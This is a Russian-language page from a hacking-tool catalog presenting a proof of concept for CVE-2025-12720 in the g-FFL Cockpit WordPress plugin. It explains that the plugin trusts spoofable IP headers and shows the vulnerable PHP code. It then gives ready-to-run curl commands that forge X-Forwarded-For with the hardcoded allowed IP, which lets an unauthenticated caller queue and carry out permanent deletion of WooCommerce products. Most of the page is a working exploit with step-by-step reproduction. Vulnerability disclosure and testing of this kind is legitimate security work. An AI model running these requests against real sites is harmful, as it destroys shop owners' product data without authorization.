Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-12720 — g-FFL Cockpit <= 1.7.1 - Неправильная авторизация, приводящая к удалению продукта без аутентификации | Kitploit
Инструменты/GitHubGitHub/d0n601/cve-2025-12720
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование безопасности APIАутентификацияНеправильная Конфигурация
GitHubd0n601/cve-2025-12720

CVE-2025-12720

g-FFL Cockpit <= 1.7.1 - Неправильная авторизация, приводящая к удалению продукта без аутентификации

Репозиторий
610 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

g-FFL Cockpit <= 1.7.1 - Неавторизованное удаление произвольных товаров

Плагин g-FFL Cockpit не выполняет надлежащую проверку авторизации на конечных точках REST API queue и process, что позволяет неавторизованным пользователям удалять произвольные товары WooCommerce путём подделки HTTP-заголовков для обхода IP-аутентификации.

Краткое описание эксплуатации

root@kitploit:~
TARGET_SITE="http://example.com"
curl -X POST $TARGET_SITE/wp-json/fflcockpit/v1/queue -H "X-Forwarded-For: 3.212.185.187" -H "Content-Type: application/json" -d '{"action":"delete","products":[{"id":105}]}' && curl -X POST $TARGET_SITE/wp-json/fflcockpit/v1/process -H "X-Forwarded-For: 3.212.185.187" -H "Content-Type: application/json"

Подробности

Конечные точки REST API и используют IP-аутентификацию, которую можно обойти, подделав HTTP-заголовки или . Механизм аутентификации полагается на , которая доверяет управляемым пользователем заголовкам, и проверяет IP-адрес, жёстко прописанный в исходном коде плагина.

queue
process
X-Forwarded-For
CF-Connecting-IP
get_client_ip()

Расположен в class-sync-endpoint.php:

root@kitploit:~
34:        register_rest_route('fflcockpit/v1', '/queue', [
35:            'methods' => 'POST',
36:            'callback' => [__CLASS__, 'handle_enqueue_only'],
37:            'permission_callback' => fn() => self::fflcockpit_is_allowed(self::$fflckey),
38:        ]);

Функция fflcockpit_is_allowed() использует жёстко прописанный IP-адрес (base64: My4yMTIuMTg1LjE4Nw==, декодированный: 3.212.185.187), который виден в исходном коде плагина.

Уязвимый фрагмент из class-sync-endpoint.php:

root@kitploit:~
11:    private static function get_client_ip(): string {
12:        $ip = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
13:        if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
14:            // CloudFlare can also have multiple IPs, parse like X-Forwarded-For
15:            $cf_ips = explode(',', $_SERVER['HTTP_CF_CONNECTING_IP']);
16:            $ip = trim($cf_ips[0]);  // ⚠️ Trusts user-controlled header
17:        } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
18:            $forwarded_ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
19:            $ip = trim($forwarded_ips[0]);  // ⚠️ Trusts user-controlled header
20:        }
21:        return trim($ip);
22:    }

Функция process_product() направляет операции удаления в sql_delete_product(), которая выполняет прямое SQL-удаление товаров WooCommerce.

Уязвимая реализация удаления из class-update-processor.php:

root@kitploit:~
634:            // Delete the product post
635:            $deleted = $wpdb->delete($wpdb->posts, ['ID' => $product_id], ['%d']);
636:
637:            if ($deleted === false) {
638:                $wpdb->query('ROLLBACK');
639:                throw new Exception('Failed to delete product from database.');
640:            }
641:
642:            $deleted_items[] = "product_post";
643:
644:            $wpdb->query('COMMIT');

Воспроизведение вручную

Примечание: g-FFL Cockpit требует WooCommerce

  1. Перейдите на целевой сайт WordPress с установленным плагином g-FFL Cockpit.

  2. Извлеките жёстко прописанный IP-адрес из исходного кода плагина. IP закодирован в base64 как My4yMTIuMTg1LjE4Nw== в class-sync-endpoint.php, что декодируется в 3.212.185.187.

  3. Выполните следующие команды curl для постановки в очередь и обработки удаления товара:

root@kitploit:~
curl -X POST http://techcorp.cc/wp-json/fflcockpit/v1/queue \
  -H "X-Forwarded-For: 3.212.185.187" \
  -H "Content-Type: application/json" \
  -d '{"action": "delete", "products": [{"id": 105}]}'
  1. Обработайте удаление из очереди, чтобы фактически выполнить удаление товара:
root@kitploit:~
curl -X POST http://techcorp.cc/wp-json/fflcockpit/v1/process \
  -H "X-Forwarded-For: 3.212.185.187" \
  -H "Content-Type: application/json"
  1. Вы получите подтверждение, что удаление завершено:
root@kitploit:~
{
  "status": "completed"
}

Товар безвозвратно удаляется из базы данных WooCommerce, включая все связанные метаданные, связи с терминами и изображения.

Скачать инструмент